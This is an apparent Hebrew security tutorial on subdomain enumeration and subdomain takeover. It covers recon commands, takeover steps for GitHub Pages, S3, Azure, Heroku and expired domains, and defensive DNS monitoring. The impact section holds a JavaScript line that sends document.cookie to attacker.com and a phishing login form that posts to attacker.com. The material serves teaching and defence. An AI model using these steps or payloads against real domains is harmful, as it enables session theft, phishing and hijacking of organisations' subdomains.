לדלג לתוכן

סאבדומיין ו-Subdomain Takeover

מבוא

סאבדומיינים הם חלק בלתי נפרד מהתשתית של ארגונים. חברות גדולות מתחזקות מאות ואלפי סאבדומיינים - לסביבות פיתוח, API interfaces, פאנלי ניהול, שירותי staging, ועוד. מיפוי סאבדומיינים הוא שלב קריטי בחקירה, וכאשר סאבדומיין מפנה למשאב שאינו קיים עוד - נוצרת הזדמנות לתקיפת Subdomain Takeover.

בשיעור זה נלמד טכניקות מתקדמות למיפוי סאבדומיינים, נבין את מתקפת Subdomain Takeover לעומק, ונתרגל זיהוי וexploit של רשומות DNS תלויות.


מיפוי סאבדומיינים - טכניקות

שיטה 1 - סריקת DNS בכוח (Brute Force)

סריקת DNS בכוח שולחת שאילתות DNS לשמות סאבדומיינים מתוך רשימת מילים.

# Using ffuf to scan for subdomains
ffuf -u "https://FUZZ.target.com" -w /usr/share/wordlists/subdomains-top1million-5000.txt \
     -mc 200,301,302,403 -o subdomains.json -of json

# Using gobuster
gobuster dns -d target.com -w /usr/share/wordlists/subdomains-top1million-5000.txt -t 50

# Using dnsx to check DNS records
cat wordlist.txt | sed 's/$/.target.com/' | dnsx -silent -a -resp

שיטה 2 - שקיפות תעודות (Certificate Transparency)

רישומי שקיפות תעודות (CT Logs) מכילים את כל תעודות ה-SSL שהונפקו, כולל שמות סאבדומיינים.

# Using crt.sh - a database of SSL certificates
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
    jq -r '.[].name_value' | sort -u > ct_subdomains.txt

# Python script to query crt.sh
# crt_enum.py - enumerate subdomains from Certificate Transparency
import requests
import json
import sys

def get_subdomains_from_crt(domain):
    url = f"https://crt.sh/?q=%25.{domain}&output=json"
    try:
        response = requests.get(url, timeout=30)
        data = json.loads(response.text)

        subdomains = set()
        for entry in data:
            name = entry.get("name_value", "")
            for sub in name.split("\n"):
                sub = sub.strip().lower()
                if sub.endswith(domain) and "*" not in sub:
                    subdomains.add(sub)

        return sorted(subdomains)
    except Exception as e:
        print(f"[-] Error: {e}")
        return []

if __name__ == "__main__":
    domain = sys.argv[1]
    subs = get_subdomains_from_crt(domain)
    print(f"[+] Found {len(subs)} subdomains for {domain}:")
    for sub in subs:
        print(f"  {sub}")

שיטה 3 - כלים ייעודיים

# amass - the most comprehensive tool for subdomain enumeration
# combines many sources: DNS, CT logs, APIs, web archives
amass enum -d target.com -o amass_results.txt

# amass with passive sources only (quieter)
amass enum -passive -d target.com -o amass_passive.txt

# subfinder - fast and efficient
subfinder -d target.com -o subfinder_results.txt

# subfinder with API sources (requires configuring keys)
subfinder -d target.com -all -o subfinder_all.txt

# knockpy
knockpy target.com

# dnsrecon
dnsrecon -d target.com -t std,brt

# Combine results from all tools
cat amass_results.txt subfinder_results.txt ct_subdomains.txt | sort -u > all_subdomains.txt
echo "[+] Total unique subdomains: $(wc -l < all_subdomains.txt)"

שיטה 4 - דורקינג במנועי חיפוש

# Google Dorks
site:target.com -www
site:*.target.com
site:target.com inurl:admin
site:target.com inurl:dev
site:target.com inurl:staging
site:target.com inurl:api

# Shodan
hostname:target.com
ssl.cert.subject.cn:target.com

# Censys
parsed.names: target.com

שיטה 5 - סריקה מסיבית עם massdns

# massdns - especially fast DNS scanning
# suited for scanning millions of names

# Installation
git clone https://github.com/blechschmidt/massdns.git
cd massdns && make

# Create a list of subdomains to check
cat wordlist.txt | sed "s/$/.target.com/" > to_resolve.txt

# Scan using a list of public DNS resolvers
./bin/massdns -r lists/resolvers.txt -t A -o S to_resolve.txt > massdns_results.txt

# Filter positive results
grep -v "NXDOMAIN" massdns_results.txt | awk '{print $1}' | sed 's/\.$//' | sort -u

בדיקת סאבדומיינים חיים

לאחר מיפוי הסאבדומיינים, נבדוק אילו מהם פעילים:

# httpx - check HTTP servers
cat all_subdomains.txt | httpx -silent -status-code -title -tech-detect -o live_subdomains.txt

# Example output:
# https://admin.target.com [200] [Admin Panel] [Nginx,PHP]
# https://api.target.com [200] [API Documentation] [Node.js,Express]
# https://staging.target.com [403] [Forbidden] [Apache]
# https://old.target.com [404] [Not Found] [CloudFront]

# Filter by response code
cat live_subdomains.txt | grep "\[200\]"
cat live_subdomains.txt | grep "\[403\]"  # can indicate a protected resource

מתקפת Subdomain Takeover

מה זה Subdomain Takeover

מתקפת Subdomain Takeover קורית כאשר:
1. לדומיין יש רשומת DNS (בדרך כלל CNAME) שמפנה לשירות חיצוני
2. השירות החיצוני כבר אינו בשימוש (החשבון נמחק, המשאב הוסר)
3. תוקף יכול ליצור את המשאב החסר ולהשתלט על הסאבדומיין

# Valid state:
blog.target.com -> CNAME -> target.github.io -> GitHub Pages (active)

# Vulnerable state:
old-blog.target.com -> CNAME -> target-old.github.io -> GitHub Pages (doesn't exist!)
# An attacker can create target-old.github.io and take over old-blog.target.com

זיהוי רשומות DNS תלויות

# Check CNAME records
dig +short CNAME blog.target.com
# Result: target.github.io.

# Check whether the target exists
dig +short A target.github.io
# If there's no answer - a takeover might be possible

# Script to check all subdomains
while read sub; do
    cname=$(dig +short CNAME "$sub" | head -1)
    if [ -n "$cname" ]; then
        a_record=$(dig +short A "$cname" | head -1)
        if [ -z "$a_record" ]; then
            echo "[POTENTIAL TAKEOVER] $sub -> $cname (no A record)"
        else
            echo "[OK] $sub -> $cname -> $a_record"
        fi
    fi
done < all_subdomains.txt

שירותים פגיעים נפוצים

GitHub Pages

# Detection:
# CNAME points to *.github.io
# The response contains: "There isn't a GitHub Pages site here."

# Check
curl -s https://old-blog.target.com
# "There isn't a GitHub Pages site here."

# Exploitation:
# 1. Create a new repository named target-old.github.io
# 2. Add a CNAME file with the value: old-blog.target.com
# 3. Add an index.html with content
# 4. Enable GitHub Pages
# Now old-blog.target.com displays your content

AWS S3

# Detection:
# CNAME points to *.s3.amazonaws.com or *.s3-website-*.amazonaws.com
# The response: "NoSuchBucket" (code 404)

curl -s http://assets.target.com
# <Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message>
# <BucketName>target-assets</BucketName></Error>

# Exploitation:
# 1. Create an S3 bucket named target-assets in the same region
aws s3 mb s3://target-assets --region us-east-1
# 2. Upload content
aws s3 cp index.html s3://target-assets/ --acl public-read
# 3. Configure static website hosting
aws s3 website s3://target-assets/ --index-document index.html

Azure

# Detection:
# CNAME points to *.azurewebsites.net, *.cloudapp.azure.com,
# *.blob.core.windows.net, *.trafficmanager.net
# The response: Azure 404 error

curl -sI https://app.target.com
# The header contains: "Microsoft-Azure-Web-Apps" and a 404 code

# Exploitation:
# 1. Create an Azure App Service with the same name
# 2. Configure a Custom Domain for the subdomain

Heroku

# Detection:
# CNAME points to *.herokuapp.com or *.herokudns.com
# The response: "No such app" or "herokucdn.com/error-pages/no-such-app.html"

curl -s https://app.target.com
# "No such app"

# Exploitation:
# 1. Create a Heroku app with the same name
heroku create target-app-name
# 2. Configure the domain
heroku domains:add app.target.com

Shopify

# Detection:
# CNAME points to shops.myshopify.com
# The response: "Sorry, this shop is currently unavailable."

# Exploitation:
# 1. Create a Shopify store
# 2. Configure a custom domain for the subdomain

Fastly / CloudFront

# Fastly:
# CNAME points to *.fastly.net
# The response: "Fastly error: unknown domain"

# CloudFront:
# CNAME points to *.cloudfront.net
# The response: "Bad Request" or "The request could not be satisfied"
# CloudFront takeover is more complex and requires the distribution ID

כלים לזיהוי Subdomain Takeover

subjack

# Installation
go install github.com/haccer/subjack@latest

# Scan
subjack -w all_subdomains.txt -t 100 -timeout 30 -o takeover_results.txt -ssl

# Scan with custom fingerprints
subjack -w all_subdomains.txt -t 100 -c /path/to/fingerprints.json -o results.txt

nuclei עם תבניות takeover

# Scan with nuclei
cat all_subdomains.txt | nuclei -t takeovers/ -o takeover_nuclei.txt

# Example output:
# [aws-bucket-takeover] [http] [high] https://assets.target.com
# [github-takeover] [http] [high] https://blog.target.com

can-i-take-over-xyz

מאגר מידע שמתעד אילו שירותים פגיעים ל-takeover ואילו לא:

# https://github.com/EdOverflow/can-i-take-over-xyz

# Contains:
# - A list of vulnerable and non-vulnerable services
# - Detection patterns (fingerprints) for each service
# - Exploitation instructions
# - Current status (some services have fixed the issue)

Subdomain Takeover דרך דומיינים שפגו

כיצד זה עובד

# Original state:
app.target.com -> CNAME -> custom-app.expired-domain.com
custom-app.expired-domain.com -> A -> 1.2.3.4

# After the domain expires:
app.target.com -> CNAME -> custom-app.expired-domain.com
custom-app.expired-domain.com -> (doesn't exist - the domain is available for purchase)

# Exploitation:
# 1. Purchase expired-domain.com
# 2. Create an A record for custom-app.expired-domain.com
# 3. Now app.target.com points to your server
# Check whether a domain is available for purchase
whois expired-domain.com | grep -i "status\|expir"

# Search for CNAME records that point to expired domains
while read sub; do
    cname=$(dig +short CNAME "$sub" | head -1 | sed 's/\.$//')
    if [ -n "$cname" ]; then
        domain=$(echo "$cname" | awk -F. '{print $(NF-1)"."$NF}')
        whois "$domain" 2>/dev/null | grep -qi "no match\|not found\|available" && \
            echo "[EXPIRED] $sub -> $cname (domain: $domain)"
    fi
done < all_subdomains.txt

השפעה וחומרת הפגיעה

// If target.com sets cookies with domain=.target.com
// An attacker who took over sub.target.com can read them

// Code on a page the attacker controls (sub.target.com):
document.location = "https://attacker.com/steal?cookie=" + document.cookie;

// Cookies of target.com with domain=.target.com will be accessible

פישינג - Phishing

<!-- Phishing page on sub.target.com -->
<!-- Looks legitimate because the domain is target.com -->
<html>
<body>
<h1>Sign In</h1>
<form action="https://attacker.com/phish" method="POST">
    <input name="username" placeholder="Username">
    <input name="password" type="password" placeholder="Password">
    <button type="submit">Sign In</button>
</form>
</body>
</html>

הרעלת SEO - SEO Poisoning

<!-- An attacker can add malicious content that affects the ranking of target.com -->
<!-- Google sees sub.target.com as part of target.com -->
<meta name="description" content="Buy cheap products at target.com">
<a href="https://malicious-shop.com">Click here for deals</a>

הexploit לתקיפות אחרות

  • הbypass CORS - אם target.com מאפשר בקשות מ-*.target.com
  • הbypass CSP - אם ה-CSP כולל *.target.com כמקור מותר
  • תקיפת OAuth - שימוש בסאבדומיין כ-redirect URI

הגנה מפני Subdomain Takeover

ניטור רשומות DNS

# Simple monitoring script that runs as a cron job
#!/bin/bash
DOMAIN="target.com"
KNOWN_SUBS="known_subdomains.txt"
ALERT_EMAIL="security@target.com"

# Enumerate current subdomains
subfinder -d "$DOMAIN" -silent > current_subs.txt

# Check for dangling CNAME records
while read sub; do
    cname=$(dig +short CNAME "$sub" | head -1)
    if [ -n "$cname" ]; then
        resolved=$(dig +short A "$cname" | head -1)
        if [ -z "$resolved" ]; then
            echo "ALERT: Dangling CNAME: $sub -> $cname" | \
                mail -s "Subdomain Takeover Risk" "$ALERT_EMAIL"
        fi
    fi
done < current_subs.txt

שיטות הגנה

  1. מחיקת רשומות DNS - כאשר שירות כבר אינו בשימוש, מחקו את רשומת ה-DNS
  2. ניטור שוטף - הריצו סריקות תקופתיות לזיהוי רשומות תלויות
  3. שמירת משאבים - אל תשחררו שמות של משאבים בשירותי ענן (S3 buckets, App Services)
  4. שימוש ב-CNAME בזהירות - העדיפו רשומות A על פני CNAME כאשר אפשר
  5. תיעוד - נהלו רשימה מעודכנת של כל הסאבדומיינים והמשאבים שלהם

סיכום

בשיעור זה למדנו:

  1. מיפוי סאבדומיינים - שימוש ב-amass, subfinder, crt.sh, massdns, ודורקינג
  2. מתקפת Subdomain Takeover - כיצד רשומות DNS תלויות מאפשרות השתלטות
  3. שירותים פגיעים - GitHub Pages, AWS S3, Azure, Heroku, Shopify, Fastly
  4. כלי זיהוי - subjack, nuclei, can-i-take-over-xyz
  5. השפעה - גניבת עוגיות, פישינג, bypass CORS/CSP
  6. הגנה - ניטור DNS, מחיקת רשומות, תיעוד משאבים

מיפוי סאבדומיינים ובדיקת takeover הם שלבים שצריך לבצע בכל חקירה. מדובר בחולשות שמניבות דוחות באג באונטי באופן קבוע.